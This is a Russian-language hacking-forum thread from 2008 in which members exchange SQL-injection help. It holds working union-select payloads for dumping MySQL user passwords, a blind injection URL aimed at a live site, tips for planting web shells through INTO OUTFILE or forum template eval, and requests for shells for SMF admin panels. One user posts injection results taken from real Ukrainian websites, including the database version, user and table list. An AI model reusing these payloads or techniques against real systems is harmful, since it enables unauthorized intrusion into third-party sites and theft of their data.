Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
23.03.2008, 23:22
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами:
11217866
Репутация:
3812
|
|
Сообщение от mff
Ребят вот такая конструкция - "id_rubric=9999+union+select+1,mysql.user.password ,3+from+mysql.user/*" не помогает, что делать?
Эта тоже непомогает - "id_rubric=9999+union+select+1,concat_ws(0x2F,user ,password),3+from+mysql.user/*"  Банально не хватает прав
Сообщение от Rogun
Где можно скачать шелл для SMF1.1.4 для залития в админку?
вот тема про залития а шелл сам я ненашол((
http://forum.antichat.ru/thread43633.html
http://toxa.nov.ru/z.txt
__________________
|
|
|
23.03.2008, 23:38
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
С нами:
9560486
Репутация:
1809
|
|
Сообщение от +toxa+
Банально не хватает прав
http://toxa.nov.ru/z.txt
Жесть, а что то можно еще сделать?
|
|
|
|
23.03.2008, 20:56
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
Прочитай хоть брошюрку по sql =\
select blablabla FROM mysql.user
|
|
|
|
23.03.2008, 21:19
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами:
10516826
Репутация:
3742
|
|
во всех ипб остается заливка шелла
1) через евал в шаблонах
2) через "raw php..." ищите где )
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|
|
23.03.2008, 22:24
|
|
Познающий
Регистрация: 12.02.2008
Сообщений: 90
С нами:
9601728
Репутация:
20
|
|
Где можно скачать шелл для SMF1.1.4 для залития в админку?
вот тема про залития а шелл сам я ненашол((
http://forum.antichat.ru/thread43633.html
|
|
|
|
23.03.2008, 23:40
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
С нами:
9560486
Репутация:
1809
|
|
Ребят поделитесь скриптами для облегчения работы со скулью. Поиск на форуме не помагает
Всем за ранее спасибо! |
|
|
|
23.03.2008, 23:42
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами:
11217866
Репутация:
3812
|
|
Сообщение от mff
Ребят поделитесь скриптами для облегчения работы со скулью. Поиск на форуме не помагает
Всем за ранее спасибо! http://toxa.nov.ru/sql.txt
Жесть, а что то можно еще сделать?
искать таблицы юзеров\админов например или пытаться залить шелл через into outfile
__________________
|
|
|
|
23.03.2008, 23:42
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
С нами:
9584577
Репутация:
69
|
|
Учусь!
Украинский морской институт
http://www.umi.com.ua/?do=news&id=-77+union+select+1,concat_ws(0x3a,version(),databas e(),user())/*
---------------------------------------------------------
5.0.22-log:vnmamontov9_umi:umi@localhost
---------------------------------------------------------
доступ к information_schema.tables но там нету ничего интересного
есть форум, судя по исходникам smf
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var smf_theme_url = "http://umi.com.ua/forum/Themes/babylon";
var smf_images_url = "http://umi.com.ua/forum/Themes/babylon/images";
var smf_scripturl = "http://umi.com.ua/forum/index.php?PHPSESSID=f5hg5bto4jkppsev38lj403l12& ;";
var smf_iso_case_folding = false;
var smf_charset = "windows-1251";
// ]]></script>
но таблицы smf_members несуществует.
Очень интересно, есть ли вариант вытянуть что нибудь интересное или может я неправильно определил форум?
-----------------------------------------------------
http://www.housemarket.com.ua/catalog.html?id=3/**/union/**/select/**/1,2,3,4,5,6,7/*
тоже очень интересная-вывода вообще никакого нет, подскажите как быть в этом случае?(подзапросы?)
-----------------------------------------------------
http://kram.in.ua/article/19`
интересно
информативный вывод, но у меня все же ничего не получилось
-------------------------------------------------------
Всем, кто откликнется- СПАСИБО |
|
|
|
23.03.2008, 23:49
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами:
11217866
Репутация:
3812
|
|
2 samarin
бд с форумом тебе недоступна .
все таблцы те доступные
Код:
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
announcements
collective
course_price
group_collective
lib_new_receipts
lib_news
lib_receipts
lib_receipts_page
news
resources
resources_part
utc_news
во втором случае тебе надо найти хотя бы одну существующую таблицу, а дальше уже будет возможен посимвольный перебор, типа
Код:
http://www.housemarket.com.ua/catalog.html?id=3+and+if(substring(version(),1,1)=5,(select+1+from+xxx),(select+1+from+xxx+limit+0,1))/*
Вместо xxx пишешь свою таблицу. При выполнении условия будет ошибка, при невыполнении - пустой лист.
__________________
Последний раз редактировалось +toxa+; 24.03.2008 в 00:01..
|
|
|
|
23.03.2008, 23:58
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
С нами:
9584577
Репутация:
69
|
|
2 samarin
бд с форумом тебе недоступна .
все таблцы те доступные
Я ж писал
доступ к information_schema.tables но там нету ничего интересного
покрайней мере интересного я не нашел
Последний раз редактировалось samarin; 24.03.2008 в 00:00..
|
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
